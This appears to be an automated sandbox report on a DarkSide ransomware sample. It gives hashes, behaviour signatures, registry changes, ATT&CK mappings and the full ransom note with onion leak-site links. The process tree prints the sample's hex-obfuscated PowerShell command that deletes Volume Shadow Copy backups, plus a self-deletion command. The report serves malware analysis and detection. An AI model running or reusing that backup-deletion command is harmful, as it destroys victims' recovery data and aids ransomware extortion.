darkside | 0f808fd3ecf9d722aafeee46b57aad4d07f39c98be6f6148be979ed470cf0a99

Resubmissions

27/01/2024, 19:37

240127-yb5pksafd3 10

27/01/2024, 19:36

240127-ybqwesafc2 10

12/05/2021, 15:56

210512-db4t7vmwas 10

Analysis

max time kernel
117s
max time network
120s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
27/01/2024, 19:37

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Report Analysis Logs

General

Target

17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Size

59KB
MD5

cfcfb68901ffe513e9f0d76b17d02f96
SHA1

766b30e5a37d1bc8d8fe5c7cacc314504a44ac1f
SHA256

17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61
SHA512

0d26fa9478f4626107e38c570d1bae1049b744181cf0395d95fb07675575ca393d88d4783bf31bdf11bef1da5648a5a53a6d95b21492f96b4de35c0ec323ae0c
SSDEEP

768:9jjV7Iax7F3DS4/S96/P3rsAc4ci5pwwX5+R4VYY23W5:vx7Fu4/i6/P3rlckx5+R4VDZ5

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Admin\README.c05ced76.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 90 GB data. These files include: Finance data Insurance data Buchgalting Data Banking data and details, bank contracts, creditors info Much personal data Marketing data Production, Technik data Email conversations dump and more others. All documents are fresh (last 365 days) and stored on our offline servers. All data will be published piece by piece. First data pack will be published in 7 days if we do not come for agreement. Your personal leak page: http://darksidedxcftmqa.onion/polifilm/AWeu5Sv7zTTCTjZD8YkgoPRznfE5r7G-vbsXok9EvfiaNL_eDwRlgRMruMHisnEF On the page you will find examples of files that have been stolen. The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/2AHUVJ3VGS97NUG5J5EYMQM5PJO77V9V0GDT3UYIJGFZUTOQRLUX593CQ2EZ2ZEH When you open our website, put the following data in the input form: Key: rIzr2nCuqbQL7MGMwoppaucqSp5AZufUiYhssYa1SGfO0XFf09fBDlLDWgKQSnnvIAfqYTsOgUhOTxzbxGsC9nH0yk2HOFhn7t8ntX8L0evyce8vKdgUKF7Xvjn6ljaQQ4HPEfPZFP2jvN0DgBVWl2WgNT1U3owZ1bNBjps34t33ObZc01Ce1yKx5CSlwUYbw1ktjqt5d7R9DwRL3NIGrTHvMX3qXI5aBAUnirnc4zHtfGPXq4CuFoh04Tv7VE81aohfvuz8D7wo7i28sbILoJyF6mzeQwSkAXolOhXKQAEPsGcdbfLxfY5uILkHB3d1gAyxT1owQXsY4heNQbY3yYL1Em7dDaLdbNhOf0adYWFiFfAl9EwLDRT96L9Xzsk17ho1B82wOWZ79ZqtT8yqnZ4APJb1LO91ASSsgUdNvR0lAaZTfXHHxUI1vDm5ygyV7cbxMlrQ5K1U6ughdd5WosogMJWVNjreirhzuDzY6SnixtukGYG0D9azzgOHcgidJcLV4n0orhzIaA1SMNYOpdOIadgBehCaHwEyr3hn8CEa6fgpUgK6E95 !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidedxcftmqa.onion/polifilm/AWeu5Sv7zTTCTjZD8YkgoPRznfE5r7G-vbsXok9EvfiaNL_eDwRlgRMruMHisnEF

http://darksidfqzcuhtk2.onion/2AHUVJ3VGS97NUG5J5EYMQM5PJO77V9V0GDT3UYIJGFZUTOQRLUX593CQ2EZ2ZEH

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Renames multiple (189) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes itself 1 IoCs

pid	Process
3268	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3601492379-692465709-652514833-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\c05ced76.BMP"	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3601492379-692465709-652514833-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\c05ced76.BMP"	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
1520	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Control Panel 1 IoCs

evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3601492379-692465709-652514833-1000\Control Panel\Desktop\WallpaperStyle = "10"	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.c05ced76	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.c05ced76\ = "c05ced76"	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\c05ced76\DefaultIcon	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\c05ced76	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\c05ced76\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\c05ced76.ico"	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2840	powershell.exe
1520	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
1520	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1520	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeSecurityPrivilege	1520	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeTakeOwnershipPrivilege	1520	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeLoadDriverPrivilege	1520	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeSystemProfilePrivilege	1520	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeSystemtimePrivilege	1520	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeProfSingleProcessPrivilege	1520	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeIncBasePriorityPrivilege	1520	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeCreatePagefilePrivilege	1520	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeBackupPrivilege	1520	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeRestorePrivilege	1520	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeShutdownPrivilege	1520	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeDebugPrivilege	1520	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeSystemEnvironmentPrivilege	1520	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeRemoteShutdownPrivilege	1520	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeUndockPrivilege	1520	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeManageVolumePrivilege	1520	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: 33	1520	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: 34	1520	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: 35	1520	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeDebugPrivilege	2840	powershell.exe
Token: SeBackupPrivilege	1936	vssvc.exe
Token: SeRestorePrivilege	1936	vssvc.exe
Token: SeAuditPrivilege	1936	vssvc.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1520 wrote to memory of 2840	1520	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe	30
PID 1520 wrote to memory of 2840	1520	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe	30
PID 1520 wrote to memory of 2840	1520	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe	30
PID 1520 wrote to memory of 2840	1520	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe	30
PID 1520 wrote to memory of 3268	1520	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe	35
PID 1520 wrote to memory of 3268	1520	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe	35
PID 1520 wrote to memory of 3268	1520	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe	35
PID 1520 wrote to memory of 3268	1520	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe	35

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
"C:\Users\Admin\AppData\Local\Temp\17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe"
1⤵
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1520
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2840
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\17139A~1.EXE >> NUL
  2⤵
  - Deletes itself
  PID:3268

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1936

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
e5fd282455baa843c5320a487a2061b8

SHA1
63c16ba0cc279ad75bb721694242f1eb23c406b6

SHA256
570a77b13fe74284434b92a24cf2d7813cb165267ce68f8c2565f465eeb74b53

SHA512
323616e83d2ecdac4ca1ee42b2d76c626011c86feb3a73f2a71c309cf76e918edaf425e183d9270f4ffa4ab8ce1fb95fe82464daead95c1ba36a1fffb938da6a

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab2290.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar6DC6.tmp

Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
06e1c7af97e8e5f0a0aaddcbab124e5f

SHA1
d6773191ba8d01ae0ff93769d25a1533a725f3dc

SHA256
7fef0a1974e52a826a59d182e4728e26976ab6890e1c5c961399abcc1ec7dedd

SHA512
886cab0adadc166934bf406ba4d8a7dfa43a5ed4cd51f0f32886e7614bb815fe2b0dc309711166acde69c6d24d8695ca6c9cd0e490de0763fb737ef50de50611

Download Submit
C:\Users\Admin\README.c05ced76.TXT

Filesize
3KB

MD5
b58e2411168bbdbec635cf4001635db0

SHA1
c130cd9caaaa514a6b98c1168e10d44a989d191a

SHA256
652a74736e10402013fae584c967fc5ea3b7c2eac0a436d41759963b3d42e37a

SHA512
87e2c3ecf3805a7b3945eed4472548a63cbaee7c004c3bce220524e1c6733b3eb780812b4d336f6b72a365c161c02e18b8101e405d00507ff902e88dd49ba30a

Download Submit
memory/2840-27-0x0000000002E10000-0x0000000002E90000-memory.dmp

Filesize
512KB

Download
memory/2840-28-0x0000000002E10000-0x0000000002E90000-memory.dmp

Filesize
512KB

Download
memory/2840-26-0x0000000002E10000-0x0000000002E90000-memory.dmp

Filesize
512KB

Download
memory/2840-25-0x000007FEF46C0000-0x000007FEF505D000-memory.dmp

Filesize
9.6MB

Download
memory/2840-29-0x000007FEF46C0000-0x000007FEF505D000-memory.dmp

Filesize
9.6MB

Download
memory/2840-23-0x000007FEF46C0000-0x000007FEF505D000-memory.dmp

Filesize
9.6MB

Download
memory/2840-24-0x0000000002E10000-0x0000000002E90000-memory.dmp

Filesize
512KB

Download
memory/2840-22-0x00000000027F0000-0x00000000027F8000-memory.dmp

Filesize
32KB

Download
memory/2840-21-0x000000001B560000-0x000000001B842000-memory.dmp

Filesize
2.9MB

Download